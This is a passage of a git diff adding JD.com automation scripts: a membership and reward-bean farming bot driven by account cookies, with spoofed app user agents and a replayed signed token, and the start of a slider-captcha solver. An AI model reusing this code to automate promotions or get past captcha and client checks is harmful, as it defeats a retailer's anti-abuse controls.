'6AB38760E008F49D94C5B6A68CBBE738DCF554EB5667BF1BB1C8657EDC5860D449336DE54E26AA8F2834B248E6398CB7A755DF4FDAE585EC3E1ABE26F3DD3CFFC956D12974FF00A045D8E31A84FE84C18A8357DE96A1F617B8AC4D64BC24B689', + // '2C201CA940E735C84CCA2A9258023890E7457F01C676C315238BBD7B63E2108949336DE54E26AA8F2834B248E6398CB7A755DF4FDAE585EC3E1ABE26F3DD3CFFC956D12974FF00A045D8E31A84FE84C18A8357DE96A1F617B8AC4D64BC24B689', + 'B135D1B6EC0449611132AB3E5B1D44E51CA997391425A3A1B38BC79093B6435E49336DE54E26AA8F2834B248E6398CB7A755DF4FDAE585EC3E1ABE26F3DD3CFFC956D12974FF00A045D8E31A84FE84C18A8357DE96A1F617B8AC4D64BC24B689', + ] + $.bean = 0; + $.ADID = getUUID('xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx', 1); + $.UUID = getUUID('xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'); + $.appkey = "51B59BB805903DA4CE513D29EC448375" + $.userId = "10299171" + $.actId = "uniteOpenCard_788" + // $.authorCode = authorCodeList[random(0, authorCodeList.length)] + $.authorCode = ownCode ? ownCode : authorCodeList[random(0, authorCodeList.length)] + console.log('去助力 -> '+$.authorCode+'\n'); + await rush(); + if ($.bean > 0) { + message += `\n【京东账号${$.index}】${$.nickName || $.UserName} \n └ 获得 ${$.bean} 京豆。` + } + } + } + if (message !== '') { + if ($.isNode()) { + await notify.sendNotify($.name, message, '', `\n`); + } else { + $.msg($.name, '有点儿收获', message); + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + + +async function rush() { + $.token = null; + $.buyerNick = null; + $.activityInfo = null; + await getToken(); + if ($.token) { + await task('setMixNick', { + "strTMMixNick": $.token, + "source": "01" + }) + if ($.buyerNick) { + if ($.index === 1) { + ownCode = $.buyerNick + console.log("后面的将给这个助力码助力 -> "+ownCode) + } + await task('shopList', { + "actId": $.actId + }) + await task('uniteOpenCardStats', { + "actId": $.actId, + "pushWay": 1, + "missionType": "pv", + }) + await task('loadUniteOpenCard', { + "inviteNick": $.authorCode, + "actId": $.actId + }) + if ($.activityInfo) { + if (!$.activityInfo.customer.isFocusAward) { + await task('followShop', { + "actId": $.actId, + "missionType": "collectShop", + }) + + } else { + $.log("已经完成一键关注") + } + if (!$.activityInfo.customer.isCartAward) { + await task('addCart', { + "actId": $.actId, + "missionType": "addCart", + }) + } else { + $.log("已经完成一键加购") + } + if ($.shopList) { + console.log($.shopList.length) + for (const vo of $.shopList) { + $.log(`${vo.shopTitle}`) + $.needOpen = true + if (!vo.open) { + await task('uniteOpenCardOne', { + "actId": $.actId, + "shopId": vo.userId + }) + if ($.needOpen) { + $.log("开通会员") + await getShopOpenCardInfo(vo.userId) + await bindWithVender(vo.userId) + await task('loadUniteOpenCard', { + "inviteNick": $.authorCode, + "actId": $.actId, + "shopId": vo.userId + }) + } + await $.wait(3000) + } else { + $.log("已经是会员了") + } + await $.wait(500) + } + } else { + $.log("没有成功获取到店铺信息") + } + + } else { + $.log("没有成功获取到活动信息") + } + } else { + $.log("没有成功获取到用户信息") + } + } else { + $.log("没有成功获取到用户鉴权信息") + } +} + +function task(function_id, preParams) { + body = { + "jsonRpc": "2.0", + "params": { + "commonParameter": { + "appkey": $.appkey, + "m": "POST", + "timestamp": new Date(), + "userId": $.userId + }, + "admJson": { + "method": `/openCard/${function_id}`, + "userId": $.userId, + "buyerNick": $.buyerNick ? $.buyerNick : "" + } + } + } + Object.assign(body.params.admJson, preParams) + return new Promise(resolve => { + $.post(taskUrl(function_id, body), async (err, resp, data) => { + try { + if (err) { + $.log(err) + } else { + + if (data) { + data = JSON.parse(data); + if (data.success) { + if (data.data.status === 200) { + switch (function_id) { + case 'setMixNick': + $.buyerNick = data.data.data.msg + console.log("你的助力码 -> "+$.buyerNick) + break; + case 'shopList': + $.shopList = data.data.data; + break; + case 'uniteOpenCardStats': + break; + case 'uniteOpenCardOne': + console.log(` =>${data.data.data.msg}`) + $.needOpen = data.data.data.succ + break; + case 'loadUniteOpenCard': + console.log(` =>${data.data.data.isOpenCard}`) + console.log(` =>${data.data.data.msg}`) + $.activityInfo = data.data.data; + break; + case 'addCart': + case 'followShop': + if (data.data.data.succ) { + $.log(`获得【${data.data.data.msg}】京豆`) + } else { + $.log(data.data.data.msg) + } + break; + + default: + break; + } + } + } + + } else { + $.log("京东没有返回数据") + } + } + } catch (error) { + $.log(error) + } finally { + resolve(); + } + }) + }) +} +function getShopOpenCardInfo(venderId) { + let opt = { + url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=getShopOpenCardInfo&body=${encodeURIComponent(JSON.stringify({ venderId: venderId, channel: 401 }))}&client=H5&clientVersion=9.2.0&uuid=88888`, + headers: { + Host: 'api.m.jd.com', + Accept: '*/*', + Connection: 'keep-alive', + Cookie: cookie, + 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + 'Accept-Language': 'zh-cn', + Referer: `https://shopmember.m.jd.com/shopcard/?venderId=${venderId}}&channel=401&returnUrl=${encodeURIComponent('https://jinggengjcq-isv.isvjcloud.com/fronth5')}`, + 'Accept-Encoding': 'gzip, deflate, br' + } + } + return new Promise(resolve => { + $.get(opt, (err, resp, data) => { + try { + if (err) { + console.log(err) + } else { + res = JSON.parse(data) + if (res.success) { + if (res.result.interestsRuleList) { + $.openCardActivityId = res.result.interestsRuleList[0].interestsInfo.activityId; + } + } + } + } catch (error) { + console.log(error) + } finally { + resolve(); + } + }) + + }) +} +function bindWithVender(venderId) { + let opt = { + url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=bindWithVender&body=${encodeURIComponent(JSON.stringify({ "venderId": venderId, "bindByVerifyCodeFlag": 1, "registerExtend": {}, "writeChildFlag": 0, "channel": 401 }))}&client=H5&clientVersion=9.2.0&uuid=88888`, + headers: { + Host: 'api.m.jd.com', + Accept: '*/*', + Connection: 'keep-alive', + Cookie: cookie, + 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + 'Accept-Language': 'zh-cn', + Referer: `https://shopmember.m.jd.com/shopcard/?venderId=${venderId}}&channel=401&returnUrl=${encodeURIComponent('https://jinggengjcq-isv.isvjcloud.com/fronth5')}`, + 'Accept-Encoding': 'gzip, deflate, br' + } + } + return new Promise(resolve => { + $.get(opt, (err, resp, data) => { + try { + if (err) { + console.log(err) + } else { + res = JSON.parse(data) + if (res.success) { + if (res.result.giftInfo) { + if (res.result.giftInfo.giftList) { + for (const vo of res.result.giftInfo.giftList) { + $.log(vo.name) + if (vo.prizeType === 4) { + $.log(`==>获得【${vo.quantity}】京豆`) + $.bean += vo.quantity + } + } + } + + } + } + } + } catch (error) { + console.log(error) + } finally { + resolve(); + } + }) + + }) +} +function taskUrl(function_id, body) { + return { + url: `https://jinggengjcq-isv.isvjcloud.com/dm/front/openCard/${function_id}?open_id=&mix_nick=${$.buyerNick ? $.buyerNick : ""}&bizExtString=${$.authorCode ? Base64.toBase64(`shareNick:${$.authorCode}`) : ""}&user_id=${$.userId}`, + headers: { + Host: 'jinggengjcq-isv.isvjcloud.com', + Accept: 'application/json', + 'X-Requested-With': 'XMLHttpRequest', + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + 'Content-Type': 'application/json; charset=utf-8', + Origin: 'https://jinggengjcq-isv.isvjcloud.com', + 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + Connection: 'keep-alive', + Referer: 'https://jinggengjcq-isv.isvjcloud.com/fronth5/', + Cookie: cookie + }, + body: JSON.stringify(body) + + } +} + +function getMyPing() { + let opt = { + url: `https://lzdz1-isv.isvjcloud.com/customer/getMyPing`, + headers: { + Host: 'lzdz1-isv.isvjcloud.com', + Accept: 'application/json', + 'X-Requested-With': 'XMLHttpRequest', + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + 'Content-Type': 'application/x-www-form-urlencoded', + Origin: 'https://lzdz1-isv.isvjcloud.com', + 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + Connection: 'keep-alive', + Referer: $.activityUrl, + Cookie: cookie, + }, + body: `userId=${$.activityShopId}&token=${$.token}&fromType=APP&riskType=1` + } + return new Promise(resolve => { + $.post(opt, (err, resp, data) => { + try { + if (err) { + $.log(err) + } else { + if (resp['headers']['set-cookie']) { + cookie = `${originCookie}` + if ($.isNode()) { + for (let sk of resp['headers']['set-cookie']) { + cookie = `${cookie}${sk.split(";")[0]};` + } + } else { + for (let ck of resp['headers']['Set-Cookie'].split(',')) { + cookie = `${cookie}${ck.split(";")[0]};` + } + } + } + if (resp['headers']['Set-Cookie']) { + cookie = `${originCookie}` + if ($.isNode()) { + for (let sk of resp['headers']['set-cookie']) { + cookie = `${cookie}${sk.split(";")[0]};` + } + } else { + for (let ck of resp['headers']['Set-Cookie'].split(',')) { + cookie = `${cookie}${ck.split(";")[0]};` + } + } + } + if (data) { + data = JSON.parse(data) + if (data.result) { + $.log(`你好:${data.data.nickname}`) + $.pin = data.data.nickname; + $.secretPin = data.data.secretPin; + cookie = `${cookie};AUTH_C_USER=${data.data.secretPin}` + } else { + $.log(data.errorMessage) + } + } else { + $.log("京东返回了空数据") + } + } + } catch (error) { + $.log(error) + } finally { + resolve(); + } + + }) + }) +} +function getFirstLZCK() { + return new Promise(resolve => { + $.get({ url: $.activityUrl }, (err, resp, data) => { + try { + if (err) { + console.log(err) + } else { + if (resp['headers']['set-cookie']) { + cookie = `${originCookie}` + if ($.isNode()) { + for (let sk of resp['headers']['set-cookie']) { + cookie = `${cookie}${sk.split(";")[0]};` + } + } else { + for (let ck of resp['headers']['Set-Cookie'].split(',')) { + cookie = `${cookie}${ck.split(";")[0]};` + } + } + } + if (resp['headers']['Set-Cookie']) { + cookie = `${originCookie}` + if ($.isNode()) { + for (let sk of resp['headers']['set-cookie']) { + cookie = `${cookie}${sk.split(";")[0]};` + } + } else { + for (let ck of resp['headers']['Set-Cookie'].split(',')) { + cookie = `${cookie}${ck.split(";")[0]};` + } + } + } + } + } catch (error) { + console.log(error) + } finally { + resolve(); + } + }) + }) +} +function getToken() { + let opt = { + url: `https://api.m.jd.com/client.action?functionId=isvObfuscator`, + headers: { + Host: 'api.m.jd.com', + 'Content-Type': 'application/x-www-form-urlencoded', + Accept: '*/*', + Connection: 'keep-alive', + Cookie: cookie, + 'User-Agent': 'JD4iPhone/167650 (iPhone; iOS 13.7; Scale/3.00)', + 'Accept-Language': 'zh-Hans-CN;q=1', + 'Accept-Encoding': 'gzip, deflate, br', + }, + body: `body=%7B%22url%22%3A%20%22https%3A//lzkj-isv.isvjcloud.com%22%2C%20%22id%22%3A%20%22%22%7D&uuid=hjudwgohxzVu96krv&client=apple&clientVersion=9.4.0&st=1620476162000&sv=111&sign=f9d1b7e3b943b6a136d54fe4f892af05` + } + return new Promise(resolve => { + $.post(opt, (err, resp, data) => { + try { + if (err) { + $.log(err) + } else { + if (data) { + data = JSON.parse(data); + if (data.code === "0") { + $.token = data.token + } + } else { + $.log("京东返回了空数据") + } + } + } catch (error) { + $.log(error) + } finally { + resolve(); + } + }) + }) +} +function random(min, max) { + + return Math.floor(Math.random() * (max - min)) + min; + +} +function getUUID(format = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx', UpperCase = 0) { + return format.replace(/[xy]/g, function (c) { + var r = Math.random() * 16 | 0, v = c == 'x' ? r : (r & 0x3 | 0x8); + if (UpperCase) { + uuid = v.toString(36).toUpperCase(); + } else { + uuid = v.toString(36) + } + return uuid; + }); +} +function checkCookie() { + const options = { + url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", + headers: { + "Host": "me-api.jd.com", + "Accept": "*/*", + "Connection": "keep-alive", + "Cookie": cookie, + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1", + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br", + } + }; + return new Promise(resolve => { + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data.retcode === "1001") { + $.isLogin = false; //cookie过期 + return; + } + if (data.retcode === "0" && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + $.log('京东返回了空数据'); + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) +} +// prettier-ignore +!function (n) { "use strict"; function t(n, t) { var r = (65535 & n) + (65535 & t); return (n >> 16) + (t >> 16) + (r >> 16) << 16 | 65535 & r } function r(n, t) { return n << t | n >>> 32 - t } function e(n, e, o, u, c, f) { return t(r(t(t(e, n), t(u, f)), c), o) } function o(n, t, r, o, u, c, f) { return e(t & r | ~t & o, n, t, u, c, f) } function u(n, t, r, o, u, c, f) { return e(t & o | r & ~o, n, t, u, c, f) } function c(n, t, r, o, u, c, f) { return e(t ^ r ^ o, n, t, u, c, f) } function f(n, t, r, o, u, c, f) { return e(r ^ (t | ~o), n, t, u, c, f) } function i(n, r) { n[r >> 5] |= 128 << r % 32, n[14 + (r + 64 >>> 9 << 4)] = r; var e, i, a, d, h, l = 1732584193, g = -271733879, v = -1732584194, m = 271733878; for (e = 0; e < n.length; e += 16)i = l, a = g, d = v, h = m, g = f(g = f(g = f(g = f(g = c(g = c(g = c(g = c(g = u(g = u(g = u(g = u(g = o(g = o(g = o(g = o(g, v = o(v, m = o(m, l = o(l, g, v, m, n[e], 7, -680876936), g, v, n[e + 1], 12, -389564586), l, g, n[e + 2], 17, 606105819), m, l, n[e + 3], 22, -1044525330), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 4], 7, -176418897), g, v, n[e + 5], 12, 1200080426), l, g, n[e + 6], 17, -1473231341), m, l, n[e + 7], 22, -45705983), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 8], 7, 1770035416), g, v, n[e + 9], 12, -1958414417), l, g, n[e + 10], 17, -42063), m, l, n[e + 11], 22, -1990404162), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 12], 7, 1804603682), g, v, n[e + 13], 12, -40341101), l, g, n[e + 14], 17, -1502002290), m, l, n[e + 15], 22, 1236535329), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 1], 5, -165796510), g, v, n[e + 6], 9, -1069501632), l, g, n[e + 11], 14, 643717713), m, l, n[e], 20, -373897302), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 5], 5, -701558691), g, v, n[e + 10], 9, 38016083), l, g, n[e + 15], 14, -660478335), m, l, n[e + 4], 20, -405537848), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 9], 5, 568446438), g, v, n[e + 14], 9, -1019803690), l, g, n[e + 3], 14, -187363961), m, l, n[e + 8], 20, 1163531501), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 13], 5, -1444681467), g, v, n[e + 2], 9, -51403784), l, g, n[e + 7], 14, 1735328473), m, l, n[e + 12], 20, -1926607734), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 5], 4, -378558), g, v, n[e + 8], 11, -2022574463), l, g, n[e + 11], 16, 1839030562), m, l, n[e + 14], 23, -35309556), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 1], 4, -1530992060), g, v, n[e + 4], 11, 1272893353), l, g, n[e + 7], 16, -155497632), m, l, n[e + 10], 23, -1094730640), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 13], 4, 681279174), g, v, n[e], 11, -358537222), l, g, n[e + 3], 16, -722521979), m, l, n[e + 6], 23, 76029189), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 9], 4, -640364487), g, v, n[e + 12], 11, -421815835), l, g, n[e + 15], 16, 530742520), m, l, n[e + 2], 23, -995338651), v = f(v, m = f(m, l = f(l, g, v, m, n[e], 6, -198630844), g, v, n[e + 7], 10, 1126891415), l, g, n[e + 14], 15, -1416354905), m, l, n[e + 5], 21, -57434055), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 12], 6, 1700485571), g, v, n[e + 3], 10, -1894986606), l, g, n[e + 10], 15, -1051523), m, l, n[e + 1], 21, -2054922799), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 8], 6, 1873313359), g, v, n[e + 15], 10, -30611744), l, g, n[e + 6], 15, -1560198380), m, l, n[e + 13], 21, 1309151649), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 4], 6, -145523070), g, v, n[e + 11], 10, -1120210379), l, g, n[e + 2], 15, 718787259), m, l, n[e + 9], 21, -343485551), l = t(l, i), g = t(g, a), v = t(v, d), m = t(m, h); return [l, g, v, m] } function a(n) { var t, r = "", e = 32 * n.length; for (t = 0; t < e; t += 8)r += String.fromCharCode(n[t >> 5] >>> t % 32 & 255); return r } function d(n) { var t, r = []; for (r[(n.length >> 2) - 1] = void 0, t = 0; t < r.length; t += 1)r[t] = 0; var e = 8 * n.length; for (t = 0; t < e; t += 8)r[t >> 5] |= (255 & n.charCodeAt(t / 8)) << t % 32; return r } function h(n) { return a(i(d(n), 8 * n.length)) } function l(n, t) { var r, e, o = d(n), u = [], c = []; for (u[15] = c[15] = void 0, o.length > 16 && (o = i(o, 8 * n.length)), r = 0; r < 16; r += 1)u[r] = 909522486 ^ o[r], c[r] = 1549556828 ^ o[r]; return e = i(u.concat(d(t)), 512 + 8 * t.length), a(i(c.concat(e), 640)) } function g(n) { var t, r, e = ""; for (r = 0; r < n.length; r += 1)t = n.charCodeAt(r), e += "0123456789abcdef".charAt(t >>> 4 & 15) + "0123456789abcdef".charAt(15 & t); return e } function v(n) { return unescape(encodeURIComponent(n)) } function m(n) { return h(v(n)) } function p(n) { return g(m(n)) } function s(n, t) { return l(v(n), v(t)) } function C(n, t) { return g(s(n, t)) } function A(n, t, r) { return t ? r ? s(t, n) : C(t, n) : r ? m(n) : p(n) } $.md5 = A }(this); +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/backUp/jd_joy_new.js b/backUp/jd_joy_new.js new file mode 100644 index 0000000..68a747b --- /dev/null +++ b/backUp/jd_joy_new.js @@ -0,0 +1,1259 @@ +/** + 脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js + IOS用户支持京东双账号,NodeJs用户支持N个京东账号 + 更新时间:2021-06-21 + 活动入口:京东APP我的-宠汪汪 + + 完成度 1%,要用的手动执行,先不加cron了 + 默认80,10、20、40、80可选 + export feedNum = 80 + 默认双人跑 + export JD_JOY_teamLevel = 2 + */ + +const $ = new Env("宠汪汪二代目") +console.log('\n====================Hello World====================\n') + +const http = require('http'); +const stream = require('stream'); +const zlib = require('zlib'); +const vm = require('vm'); +const PNG = require('png-js'); +const UA = require('./USER_AGENTS.js').USER_AGENT; +const fs = require("fs"); + + +Math.avg = function average() { + var sum = 0; + var len = this.length; + for (var i = 0; i < len; i++) { + sum += this[i]; + } + return sum / len; +}; + +function sleep(timeout) { + return new Promise((resolve) => setTimeout(resolve, timeout)); +} + +class PNGDecoder extends PNG { + constructor(args) { + super(args); + this.pixels = []; + } + + decodeToPixels() { + return new Promise((resolve) => { + this.decode((pixels) => { + this.pixels = pixels; + resolve(); + }); + }); + } + + getImageData(x, y, w, h) { + const {pixels} = this; + const len = w * h * 4; + const startIndex = x * 4 + y * (w * 4); + + return {data: pixels.slice(startIndex, startIndex + len)}; + } +} + +const PUZZLE_GAP = 8; +const PUZZLE_PAD = 10; + +class PuzzleRecognizer { + constructor(bg, patch, y) { + // console.log(bg); + const imgBg = new PNGDecoder(Buffer.from(bg, 'base64')); + const imgPatch = new PNGDecoder(Buffer.from(patch, 'base64')); + + // console.log(imgBg); + + this.bg = imgBg; + this.patch = imgPatch; + this.rawBg = bg; + this.rawPatch = patch; + this.y = y; + this.w = 